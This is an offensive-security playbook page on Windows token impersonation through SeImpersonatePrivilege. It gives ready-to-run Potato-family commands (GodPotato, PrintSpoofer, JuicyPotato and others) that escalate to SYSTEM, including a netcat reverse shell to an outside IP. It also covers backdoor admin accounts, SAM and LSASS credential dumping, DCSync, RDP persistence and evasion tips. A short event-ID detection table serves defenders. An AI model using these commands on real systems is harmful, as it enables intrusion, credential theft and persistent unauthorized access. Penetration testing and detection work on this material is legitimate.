--- title: "Attack #45 β€” Token Impersonation (SeImpersonatePrivilege)" description: "Token Impersonation is a local privilege escalation technique that exploits the Windows SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege) to…" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "adcs", "privilege-escalation", "sql-injection"] tools: ["Impacket", "Mimikatz", "Metasploit", "Meterpreter", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/🟣 Attack #45 β€” Token Impersonation (SeImpersonatePrivilege).md" --- # 🟣 Attack #45 β€” Token Impersonation (SeImpersonatePrivilege) *** ## πŸ“– How It Works Token Impersonation is a **local privilege escalation technique** that exploits the Windows `SeImpersonatePrivilege` (or `SeAssignPrimaryTokenPrivilege`) to escalate from a service account to `NT AUTHORITY\SYSTEM` β€” the highest privilege level on a Windows system. This privilege is granted by default to all service accounts, IIS AppPool identities, MSSQL service accounts, and any process running as `NETWORK SERVICE` or `LOCAL SERVICE`. If an attacker compromises any of these accounts (via web shell, SQL injection, etc.), they can escalate to SYSTEM in seconds. ### How It Works Technically 1. **The attacker controls a process** with `SeImpersonatePrivilege` (e.g., a web shell running as `IIS APPPOOL\DefaultAppPool`) 2. **The attacker creates a listener** β€” typically a named pipe or a COM server that listens for incoming connections 3. **A SYSTEM-level process is tricked into authenticating** to the attacker's listener β€” this is achieved by abusing various Windows services (Print Spooler, BITS, DCOM/COM objects, RPC endpoints) 4. **The attacker captures the SYSTEM token** β€” when the privileged process connects, Windows lets the attacker impersonate the connecting client's security context because `SeImpersonatePrivilege` explicitly allows this 5. **The attacker spawns a new process** (cmd.exe, reverse shell, beacon) using the captured SYSTEM token ### The "Potato" Family Evolution The Potato exploit family has evolved over 8+ years as Microsoft patched specific coercion methods, spawning new variants: | Tool | Year | Coercion Method | Target OS | Status | |---|---|---|---|---| | **Hot Potato** | 2016 | NBNS spoofing + WPAD + NTLM relay | Win 7/8/10, Server 2008/2012 | ❌ Patched | | **Rotten Potato** | 2016 | DCOM/BITS β†’ NTLM relay to local OXID | Win 10, Server 2012/2016 | ❌ Patched | | **Juicy Potato** | 2018 | Arbitrary CLSID COM abuse | Win ≀10 1803, Server ≀2016 | ⚠️ Partial | | **Rogue Potato** | 2020 | Remote OXID resolution β†’ named pipe | Win 10, Server 2019 | βœ… Works | | **Sweet Potato** | 2020 | Combined β€” Print Bug + COM + WinRM | Multiple versions | βœ… Works | | **PrintSpoofer** | 2020 | Print Spooler named pipe impersonation | Win 10, Server 2016/2019 | βœ… Works | | **EfsPotato** | 2021 | EFS RPC β†’ named pipe impersonation | Win 10/11, Server 2019/2022 | βœ… Works | | **GodPotato** | 2022 | RPCSS DCOM activation β†’ unnamed pipe | Win 2012–2022, Win 8–11 | βœ… Works | | **SigmaPotato** | 2023 | GodPotato fork with improvements | Multiple versions | βœ… Works | | **CoercedPotato** | 2024 | Multi-protocol coercion (MS-EFSR, MS-RPRN, etc.) | Multiple versions | βœ… Works | ### Why Service Accounts Have This Privilege ``` # Check current privileges: whoami /priv # If you see either of these, you can escalate: # SeImpersonatePrivilege Impersonate a client after authentication Enabled # SeAssignPrimaryTokenPrivilege Replace a process level token Enabled # These accounts typically have SeImpersonatePrivilege: # - IIS AppPool accounts (web shells) # - MSSQL Server service accounts (xp_cmdshell) # - NETWORK SERVICE # - LOCAL SERVICE # - Any Windows service account ``` *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **Shell as service account** | Running as IIS AppPool, MSSQL, NETWORK SERVICE, or any account with `SeImpersonatePrivilege` | | **SeImpersonatePrivilege enabled** | `whoami /priv` must show `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege` | | **Local system access** | This is a LOCAL privilege escalation β€” you need a shell on the target machine | | **Appropriate Potato tool** | Must match the target OS version (see compatibility table above) | *** ## πŸ› οΈ Tools | Tool | Platform | Notes | |---|---|---| | **GodPotato** | Windows | Most universally compatible β€” works on 2012-2022 | | **PrintSpoofer** | Windows | Fast, clean β€” requires Print Spooler running | | **JuicyPotato** | Windows | Classic β€” older systems only (≀ Win 10 1803) | | **JuicyPotatoNG** | Windows | Updated version with better compatibility | | **SweetPotato** | Windows | Combined approach β€” multiple coercion methods | | **EfsPotato** | Windows | EFS-based β€” works on modern systems | | **SigmaPotato** | Windows | GodPotato improvement β€” broader support | | **CoercedPotato** | Windows | Multi-protocol β€” most comprehensive | | **SharpEfsPotato** | Windows | .NET implementation of EFS Potato | | **Incognito** | Meterpreter | Token manipulation via Meterpreter framework | *** ## πŸ’» Full Commands ### πŸ”΅ Step 0 β€” Verify SeImpersonatePrivilege ```powershell # ── Check if you have the required privilege ────────────────────────────────── whoami /priv # Expected output for exploitable service accounts: # Privilege Name Description State # ============================= ========================================= ======== # SeImpersonatePrivilege Impersonate a client after authentication Enabled # SeAssignPrimaryTokenPrivilege Replace a process level token Disabled # (either one is sufficient) # ── Check who you are ───────────────────────────────────────────────────────── whoami # Expected: iis apppool\defaultapppool, nt service\mssqlserver, etc. # ── Check OS version (to pick the right Potato) ────────────────────────────── systeminfo | findstr /B /C:"OS Name" /C:"OS Version" [System.Environment]::OSVersion.Version ``` *** ### πŸ”΄ GodPotato (Recommended β€” Broadest Compatibility) ```powershell # ── Spawn a SYSTEM command prompt ───────────────────────────────────────────── .\GodPotato.exe -cmd "cmd /c whoami" # Output: nt authority\system # ── Execute a reverse shell as SYSTEM ───────────────────────────────────────── .\GodPotato.exe -cmd "cmd /c powershell -e " # ── Create a new admin user as SYSTEM ───────────────────────────────────────── .\GodPotato.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add" # ── Dump SAM database ──────────────────────────────────────────────────────── .\GodPotato.exe -cmd "cmd /c reg save HKLM\SAM C:\Temp\SAM && reg save HKLM\SYSTEM C:\Temp\SYSTEM" # ── Run Mimikatz as SYSTEM ──────────────────────────────────────────────────── .\GodPotato.exe -cmd "cmd /c C:\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > C:\Temp\creds.txt" ``` *** ### πŸ”΄ PrintSpoofer (Clean & Fast β€” Requires Print Spooler) ```powershell # ── Check if Print Spooler is running ───────────────────────────────────────── Get-Service Spooler sc query Spooler # ── Spawn interactive SYSTEM shell ──────────────────────────────────────────── .\PrintSpoofer64.exe -i -c cmd # Drops you into an interactive cmd.exe as SYSTEM # ── Non-interactive command execution ───────────────────────────────────────── .\PrintSpoofer64.exe -c "cmd /c whoami" # Output: nt authority\system # ── Reverse shell ───────────────────────────────────────────────────────────── .\PrintSpoofer64.exe -c "cmd /c C:\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe" # ── 32-bit version (for 32-bit processes like IIS on x86 app pools) ────────── .\PrintSpoofer32.exe -i -c cmd ``` *** ### πŸ”΄ JuicyPotato (Legacy β€” Older OS Only) ```powershell # ── Basic SYSTEM shell ──────────────────────────────────────────────────────── .\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} # -l = COM listener port (arbitrary) # -p = program to launch as SYSTEM # -t = createprocess call type (* = try both) # -c = CLSID to abuse (varies by OS β€” see below) # ── Execute specific command ────────────────────────────────────────────────── .\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\Temp\whoami.txt" \ -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} # ── Reverse shell ───────────────────────────────────────────────────────────── .\JuicyPotato.exe -l 1337 -p cmd.exe \ -a "/c powershell -e " \ -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} # ── Common CLSIDs by OS ────────────────────────────────────────────────────── # Windows 10 Pro: {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83} # Windows Server 2016: {8F5DF053-3013-4dd8-B5F4-88214E81C0CF} # Windows Server 2012: {e60687f7-01a1-40aa-86ac-db1cbf673334} # Full CLSID list: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md ``` *** ### πŸ”΄ EfsPotato (Modern Systems) ```powershell # ── Compile and run (requires .NET framework) ──────────────────────────────── .\EfsPotato.exe whoami # Output: nt authority\system # ── Execute command ─────────────────────────────────────────────────────────── .\EfsPotato.exe "cmd /c net user hacker P@ssword123! /add" .\EfsPotato.exe "cmd /c net localgroup Administrators hacker /add" ``` *** ### πŸ”΄ SweetPotato (Multi-Method) ```powershell # ── Auto-detect best method ────────────────────────────────────────────────── .\SweetPotato.exe -p cmd.exe -a "/c whoami" # ── Specify method (PrintSpoofer technique) ─────────────────────────────────── .\SweetPotato.exe -e PrintSpoofer -p cmd.exe -a "/c whoami" # ── WinRM method ────────────────────────────────────────────────────────────── .\SweetPotato.exe -e WinRM -p cmd.exe -a "/c whoami" # ── DCOM method (classic Juicy) ─────────────────────────────────────────────── .\SweetPotato.exe -e DCOM -p cmd.exe -a "/c whoami" ``` *** ### πŸ”΄ Meterpreter β€” Incognito Module (If Using Metasploit) ```bash # ── From a Meterpreter session ──────────────────────────────────────────────── meterpreter> load incognito # List available tokens meterpreter> list_tokens -u # Look for: NT AUTHORITY\SYSTEM, domain\admin_user, etc. # Impersonate SYSTEM token meterpreter> impersonate_token "NT AUTHORITY\SYSTEM" # [+] Delegation token available # [+] Successfully impersonated user NT AUTHORITY\SYSTEM # Impersonate domain admin token (if one is logged in) meterpreter> impersonate_token "CORP\domain_admin" # Verify meterpreter> getuid # Server username: NT AUTHORITY\SYSTEM # Drop to shell meterpreter> shell C:\> whoami nt authority\system ``` *** ### πŸ”΄ Post-Exploitation β€” After SYSTEM ```powershell # ── Once SYSTEM, extract all credentials ────────────────────────────────────── # Dump all logon credentials from LSASS mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit # Dump SAM database (local accounts) reg save HKLM\SAM C:\Temp\SAM reg save HKLM\SYSTEM C:\Temp\SYSTEM reg save HKLM\SECURITY C:\Temp\SECURITY # Exfiltrate and parse with secretsdump.py: # secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL # Enable RDP for persistence reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=Yes # Create a persistent admin account net user backdoor P@ssword123! /add net localgroup Administrators backdoor /add # If domain-joined, DCSync is now possible from this machine mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" exit ``` *** ## 🎯 OPSEC Tips - **GodPotato is the safest choice** β€” it works on the widest range of OS versions (2012-2022) and doesn't require specific services to be running - **PrintSpoofer is fastest** but requires Print Spooler β€” check `sc query Spooler` first; if it's disabled, use GodPotato - **JuicyPotato won't work** on Windows 10 build 1809+ or Server 2019+ β€” Microsoft blocked the DCOM activation path - **Avoid dropping binaries to disk** if possible β€” use in-memory execution via PowerShell reflection or .NET assembly loading - **The Potato exploit itself is not detected** as easily as what you do AFTER getting SYSTEM β€” credential dumping and admin account creation are the loud parts - **Token impersonation via Meterpreter/Incognito** is useful when there's a logged-in admin session on the box β€” you can steal their token without knowing their password *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **4688** | Security Log | Process creation β€” unexpected `cmd.exe` or `powershell.exe` spawned by service accounts (IIS, MSSQL, etc.) | | **4672** | Security Log | Special privileges assigned to new logon β€” SYSTEM token usage from unexpected source | | **4624** | Security Log | New logon β€” SYSTEM logon (Type 2 or 5) from unexpected parent process | | **7045** | System Log | New service installed β€” some Potato variants create temporary services | | **Sysmon 10** | Sysmon | Process access β€” tool accessing LSASS memory (post-exploitation) | | **Sysmon 1** | Sysmon | Process creation with full command line β€” Potato binary execution | | **Sysmon 17/18** | Sysmon | Named pipe creation/connection β€” PrintSpoofer creates `\\.\pipe\spoolss` variants | **Primary detection signature:** Monitor for **unexpected parent-child process relationships** involving service accounts. If `w3wp.exe` (IIS), `sqlservr.exe` (MSSQL), or `svchost.exe` spawns `cmd.exe` or `powershell.exe` as SYSTEM, that is a near-certain indicator of token impersonation. Sysmon with proper configuration provides the most reliable detection through process creation events with full command lines and named pipe monitoring. *** ## πŸ”— Attack Chain Context ``` [Token Impersonation] ──→ Local SYSTEM Privilege Escalation β”‚ β”œβ”€β”€β†’ 🌐 Web shell (IIS) β†’ SeImpersonatePrivilege β†’ SYSTEM β†’ credentials β”œβ”€β”€β†’ πŸ—„οΈ SQL injection (MSSQL xp_cmdshell) β†’ SYSTEM β†’ lateral movement β”œβ”€β”€β†’ πŸ”‘ SYSTEM β†’ dump LSASS β†’ extract domain creds β†’ DCSync β”œβ”€β”€β†’ πŸ’» SYSTEM β†’ read DPAPI secrets, SAM hives, LSA secrets β”œβ”€β”€β†’ πŸ”— Chain with: PtH (Attack #4), DCSync (#37), lateral movement (#54-60) β”œβ”€β”€β†’ πŸ”„ Commonly the first escalation after initial web/SQL compromise └──→ πŸ’€ Defeated by: don't grant SeImpersonatePrivilege, use gMSAs, patch ``` **Token Impersonation is the most common local privilege escalation** in real-world engagements. Nearly every web application compromise or SQL injection that yields command execution results in a service account shell with SeImpersonatePrivilege β€” and from there, SYSTEM is one binary execution away. *** > βœ… **Attack #45 β€” Token Impersonation complete.**